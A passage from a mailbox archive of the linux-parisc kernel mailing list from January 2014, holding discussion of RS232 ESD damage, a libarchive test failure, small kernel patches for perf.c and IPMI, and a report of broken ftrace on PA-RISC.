receiver).  So, they could
get zapped, particularly if devices are connected while running when a  
connection is made.
Currents can also flow through the cable when the grounds for the two  
pieces of equipment
is the same.  There is no isolation in RS232 so it is sensitive to ESD  
problem.  There is an 'E'
version of most RS232 driver devices which has improved (+15KV human  
body) ESD protection.

I've seen quite a few devices die in the lab.  The charge pump on  
these devices is also sometimes
a problem.

Without a scope, it's hard to tell when the signals are bad.  Best  
that can be done is to test both
units with third device using same/different cables, etc.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sun, 26 Jan 2014 16:04:36 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <BLU0-SMTP93B1BA35647A932F07CEF997A30@phx.gbl>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <1417398.fmUESL4Ngr@eto> <BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl> <7905648.nun1s37FKj@eto> <20140125181348.67a2bf8f@marga.jer-c2.orkz.net> <BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl> <20140126010218.33334dbd@marga.jer-c2.orkz.net> <52E524A6.2060703@gmx.de> <20140126212225.0c6e88f9@marga.jer-c2.orkz.net> <BLU0-SMTP67B7E8904072C1DACCE37597A30@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390770281 5498 80.91.229.3 (26 Jan 2014 21:04:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 21:04:41 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 22:04:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7Wsp-0001IX-GQ
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 22:04:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752937AbaAZVEr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jan 2014 16:04:47 -0500
Original-Received: from blu0-omc3-s32.blu0.hotmail.com ([65.55.116.107]:4784 "EHLO
	blu0-omc3-s32.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752461AbaAZVEq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jan 2014 16:04:46 -0500
Original-Received: from BLU0-SMTP93 ([65.55.116.74]) by blu0-omc3-s32.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 26 Jan 2014 13:04:46 -0800
X-TMN: [IpbCzo5L166Evz8yastM4ouQl/xEUiyf]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP93.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 26 Jan 2014 13:04:45 -0800
In-Reply-To: <BLU0-SMTP67B7E8904072C1DACCE37597A30@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 26 Jan 2014 21:04:45.0157 (UTC) FILETIME=[3D5A8950:01CF1ADA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5658>

On 26-Jan-14, at 4:01 PM, John David Anglin wrote:

> Currents can also flow through the cable when the grounds for the  
> two pieces of equipment
> is the same.

"not the same".

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix =?UTF-8?Q?mmap=28MAP=5FFIXED=7CMAP=5FSHARED=29=20?=
 =?UTF-8?Q?to=20already=20mmapped=20address?=
Date: Mon, 27 Jan 2014 12:23:58 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <abd044509f0c10ea10d8f4ab26c7de40@sf-mail.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
 <2859617.TAsvt0Sziu@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390821856 9580 80.91.229.3 (27 Jan 2014 11:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jan 2014 11:24:16 +0000 (UTC)
To: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 27 12:24:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7kIe-00010q-SK
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Jan 2014 12:24:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751425AbaA0LYU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Jan 2014 06:24:20 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:48366 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751321AbaA0LYT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Jan 2014 06:24:19 -0500
Original-Received: (qmail 22865 invoked from network); 27 Jan 2014 11:23:58 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:59285 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <aaro.koskinen@iki.fi>; Mon, 27 Jan 2014 12:23:58 +0100
In-Reply-To: <2859617.TAsvt0Sziu@caliban.sf-tec.de>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5662
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5662>

Am 23.12.2013 21:34, schrieb Rolf Eike Beer:
> Am Donnerstag, 19. Dezember 2013, 21:17:51 schrieb Aaro Koskinen:
>> Hi,
>> 
>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> 
> I also suspect this patch of causing trouble. My C8000 regularly 
> submits to
> the libarchive dashboard 
> (http://my.cdash.org/index.php?project=libarchive).
> Since I upgraded to 3.12.5 one test (libarchive_test_compat_mac) keeps
> failing. The day after compile errors and other problems started (just 
> browse
> through the last 2 weeks and you will see it). Then I reverted that 
> change and
> rebootet. The compat_mac test still fails, but the other failures are 
> gone.

Just for the records: the compat_mac test fails also on my x86_64.

At least the compile error in archive_read_support_format_zip.c is real, 
i.e. I can reproduce it on a 32 bit build on x86. No idea why it did not 
happen before.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc64: don't use module_init for non-modular core perf code
Date: Mon, 27 Jan 2014 12:06:57 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <1390842417-23443-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1390842427 9870 80.91.229.3 (27 Jan 2014 17:07:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jan 2014 17:07:07 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 27 18:07:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7peS-00035A-Q1
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Jan 2014 18:07:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753622AbaA0RHL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Jan 2014 12:07:11 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:55661 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753473AbaA0RHK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Jan 2014 12:07:10 -0500
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail1.windriver.com (8.14.5/8.14.5) with ESMTP id s0RH71eb009800
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 27 Jan 2014 09:07:01 -0800 (PST)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.2.347.0; Mon, 27 Jan 2014 09:07:01 -0800
X-Mailer: git-send-email 1.8.5.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5663 gmane.linux.kernel:1636163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5663>

The perf.c code depends on CONFIG_64BIT, so it is either built-in
or absent.  It will never be modular, so using module_init as an
alias for __initcall is rather misleading.

Fix this up now, so that we can relocate module_init from
init.h into module.h in the future.  If we don't do this, we'd
have to add module.h to obviously non-modular code, and that
would be a worse thing.  Aside from it not making sense, it also
causes a ~10% increase in CPP overhead due to module.h having a
large list of headers itself -- for example compare line counts:

 device_initcall() and <linux/init.h>
	20238 arch/parisc/kernel/perf.i

 module_init() and <linux/module.h>
	22194 arch/parisc/kernel/perf.i

Direct use of __initcall is discouraged, vs prioritized ones.
Use of device_initcall is consistent with what __initcall
maps onto, and hence does not change the init order, making the
impact of this change zero.   Should someone with real hardware
for boot testing want to change it later to arch_initcall or
something different, they can do that at a later date.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[patch will be added to init cleanup series:
   http://git.kernel.org/cgit/linux/kernel/git/paulg/init.git/  ]

 arch/parisc/kernel/perf.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index ba0c053e25ae..518f4f5f1f43 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -543,6 +543,7 @@ static int __init perf_init(void)
 
 	return 0;
 }
+device_initcall(perf_init);
 
 /*
  * perf_start_counters(void)
@@ -847,5 +848,3 @@ printk("perf_rdr_write\n");
 	}
 printk("perf_rdr_write done\n");
 }

From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
Subject: [PATCH] ipmi: Add missing rv in ipmi_parisc_probe()
Date: Tue, 28 Jan 2014 20:12:35 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1390936355-11845-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1390936389 2833 80.91.229.3 (28 Jan 2014 19:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jan 2014 19:13:09 +0000 (UTC)
Cc: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: Corey Minyard <minyard@acm.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 28 20:13:14 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1W8E5v-0008RW-K1
	for glk-linux-kernel-3@plane.gmane.org; Tue, 28 Jan 2014 20:13:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932143AbaA1TMn (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 28 Jan 2014 14:12:43 -0500
Original-Received: from albert.telenet-ops.be ([195.130.137.90]:36979 "EHLO
	albert.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754779AbaA1TMm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 28 Jan 2014 14:12:42 -0500
Original-Received: from ayla.of.borg ([84.193.72.141])
	by albert.telenet-ops.be with bizsmtp
	id KXCg1n00E32ts5g06XCgby; Tue, 28 Jan 2014 20:12:40 +0100
Original-Received: from geert by ayla.of.borg with local (Exim 4.76)
	(envelope-from <geert@linux-m68k.org>)
	id 1W8E5P-00035Z-Rp; Tue, 28 Jan 2014 20:12:39 +0100
X-Mailer: git-send-email 1.7.9.5
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1636843 gmane.linux.kernel.openipmi:2277 gmane.linux.ports.parisc:5664
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1636843>

drivers/char/ipmi/ipmi_si_intf.c: In function 'ipmi_parisc_probe':
drivers/char/ipmi/ipmi_si_intf.c:2752:2: error: 'rv' undeclared (first use in this function)
drivers/char/ipmi/ipmi_si_intf.c:2752:2: note: each undeclared identifier is reported only once for each function it appears in

Introduced by commit d02b3709ff8efebfca0612d0ac2a6e31a91c13f4 ("ipmi:
Cleanup error return")

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
http://kisskb.ellerman.id.au/kisskb/buildresult/10537567/

 drivers/char/ipmi/ipmi_si_intf.c |    1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
index 671c3852d359..03f41896d090 100644
--- a/drivers/char/ipmi/ipmi_si_intf.c
+++ b/drivers/char/ipmi/ipmi_si_intf.c
@@ -2724,6 +2724,7 @@ static struct platform_driver ipmi_driver = {
 static int ipmi_parisc_probe(struct parisc_device *dev)
 {
 	struct smi_info *info;
+	int rv;
 
 	info = smi_info_alloc();
 
-- 
1.7.9.5


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corey Minyard <minyard@acm.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi,gmane.linux.kernel
Subject: Re: [PATCH] ipmi: Add missing rv in ipmi_parisc_probe()
Date: Tue, 28 Jan 2014 14:21:35 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <52E8114F.7050202@acm.org>
References: <1390936355-11845-1-git-send-email-geert@linux-m68k.org>
Reply-To: minyard@acm.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390940493 21713 80.91.229.3 (28 Jan 2014 20:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Jan 2014 20:21:33 +0000 (UTC)
Cc: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 28 21:21:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W8FAB-0006c8-Px
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Jan 2014 21:21:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755043AbaA1UVi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Jan 2014 15:21:38 -0500
Original-Received: from mail-oa0-f49.google.com ([209.85.219.49]:36634 "EHLO
	mail-oa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754636AbaA1UVi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Jan 2014 15:21:38 -0500
Original-Received: by mail-oa0-f49.google.com with SMTP id i7so1006435oag.36
        for <multiple recipients>; Tue, 28 Jan 2014 12:21:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:message-id:date:from:reply-to:user-agent:mime-version:to:cc
         :subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=KWzun+3l1OonMQDMFW6kwBJdOOp67AX7fJbUaU9tD2w=;
        b=kDIEu0mhVP0lNkxKfHIygDzwKuqXRQ4mk/vW4lKH4X4EenoY4rX07t+5n+PJR7FWr5
         RfepmaPJRryss4c34YyGN4Cb2Tk/PZtiCGUYWhQrBHoXPY98gAyRo5crt6SDzRjwWWVZ
         fuweg7hYXNLQVeHQRK090NKPh3/MIABbxvNHRW0Le+q8XX/sz67F4SlhhQeDTgTeAA4w
         Og1uuX1n8yQpa+CztvyvD7449ucm9Tmv/EtmmcQofr37WvxlMC+JZplThsBiZJzmuWmf
         nRKAHX/S4z34rCY9l3brZdO5erwHGmPuuwPAt7SfSEUNueA4LuNqaphoErwfH/q3VKU/
         o5uA==
X-Received: by 10.182.103.133 with SMTP id fw5mr2604733obb.43.1390940497478;
        Tue, 28 Jan 2014 12:21:37 -0800 (PST)
Original-Received: from t430.minyard.home (pool-173-57-152-84.dllstx.fios.verizon.net. [173.57.152.84])
        by mx.google.com with ESMTPSA id ei15sm79908388oeb.2.2014.01.28.12.21.35
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 28 Jan 2014 12:21:36 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <1390936355-11845-1-git-send-email-geert@linux-m68k.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5665 gmane.linux.kernel.openipmi:2279 gmane.linux.kernel:1636896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5665>

On 01/28/2014 01:12 PM, Geert Uytterhoeven wrote:
> drivers/char/ipmi/ipmi_si_intf.c: In function 'ipmi_parisc_probe':
> drivers/char/ipmi/ipmi_si_intf.c:2752:2: error: 'rv' undeclared (first use in this function)
> drivers/char/ipmi/ipmi_si_intf.c:2752:2: note: each undeclared identifier is reported only once for each function it appears in
>
> Introduced by commit d02b3709ff8efebfca0612d0ac2a6e31a91c13f4 ("ipmi:
> Cleanup error return")
>
> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>

Dang it.  Yes, you are right, of course.

Acked-by: Corey Minyard <cminyard@mvista.com>
> ---
> http://kisskb.ellerman.id.au/kisskb/buildresult/10537567/
>
>  drivers/char/ipmi/ipmi_si_intf.c |    1 +
>  1 file changed, 1 insertion(+)
>
> diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
> index 671c3852d359..03f41896d090 100644
> --- a/drivers/char/ipmi/ipmi_si_intf.c
> +++ b/drivers/char/ipmi/ipmi_si_intf.c
> @@ -2724,6 +2724,7 @@ static struct platform_driver ipmi_driver = {
>  static int ipmi_parisc_probe(struct parisc_device *dev)
>  {
>  	struct smi_info *info;
> +	int rv;
>  
>  	info = smi_info_alloc();
>  

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Ftrace broken on parisc
Date: Wed, 29 Jan 2014 20:59:44 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <20140129205944.4f71ca1c@dellete>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1391026444 18819 80.91.229.3 (29 Jan 2014 20:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jan 2014 20:14:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 29 21:14:11 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W8bWT-0005bN-UX
	for glpp-linux-parisc@plane.gmane.org; Wed, 29 Jan 2014 21:14:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750942AbaA2UOJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Jan 2014 15:14:09 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:65304 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750851AbaA2UOI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Jan 2014 15:14:08 -0500
X-Greylist: delayed 905 seconds by postgrey-1.27 at vger.kernel.org; Wed, 29 Jan 2014 15:14:07 EST
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Wed, 29 Jan 2014 20:58:37 +0100
Original-Received: from [2001:7e8:2221:400:863a:4bff:fe82:d89c] (helo=dellete)
	by ibiza.lux.tuxicoman.be with esmtpsa (SSL3.0:DHE_RSA_AES_128_CBC_SHA1:128)
	(Exim 4.80.1)
	(envelope-from <gmsoft@ibiza.lux.tuxicoman.be>)
	id 1W8bHe-00072Q-DS
	for linux-parisc@vger.kernel.org; Wed, 29 Jan 2014 20:58:50 +0100
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.22; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5667>

Hi all,


It seems that the ftrace subsystem has not been maintained for a few
years.

So far I have the diff at the bottom that attempts to fix it bug there
is still an issue while linking :


arch/parisc/kernel/built-in.o: In function `return_to_handler':
(.text+0xb2a8): undefined reference to `ftrace_return_to_handler'
hppa64-linux-ld: arch/parisc/kernel/built-in.o(.text+0xllx): cannot
reach (null)
arch/parisc/kernel/built-in.o: In function `return_to_handler':
(.text+0xb2a8): relocation truncated to fit: R_PARISC_PCREL17F against
undefined symbol `ftrace_return_to_handler'
make: *** [vmlinux] Error 1

I'm not sure how this can be fixed, the problems comes from the
assembly in entry.S, it uses a 'b' to jump to ftrace_return_to_handler.
I guess 'be' needs to be used but not sure how that'd works with the
linker.

Moreover, there is probably more than this to be fixed.

For the background story, I'm trying to fix this to audit irq handlers
for my pata_sil680 issue.

Adding some printk for irq == 71 in handle_percpu_irq(), I see and odd
behavior. The printk at the end of the function is displayed a lot more
than the printk at the begining of the function. I know printk isn't
the best for irq handlers that's why I was investigating the ftrace way.

Any tip/help is very much welcome !

  Guy

---
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index bc989e5..6d23a1a 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -1,5 +1,8 @@
 menu "Kernel hacking"

+config TRACE_IRQFLAGS_SUPPORT
+       def_bool y
+
 source "lib/Kconfig.debug"

 config DEBUG_RODATA
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index 5beb97b..8c9f757 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -156,7 +156,7 @@ void ftrace_function_trampoline(unsigned long
 parent, return;

        if (ftrace_trace_function != ftrace_stub) {
-               ftrace_trace_function(parent, self_addr);
+               ftrace_trace_function(parent, self_addr, NULL, NULL);
                return;
        }
 #ifdef CONFIG_FUNCTION_GRAPH_TRACER

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Ftrace broken on parisc
Date: Wed, 29 Jan 2014 21:44:01 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <52E96811.7000403@gmx.de>
References: <20140129205944.4f71ca1c@dellete>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1391028240 7926 80.91.229.3 (29 Jan 2014 20:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Jan 2014 20:44:00 +0000 (UTC)
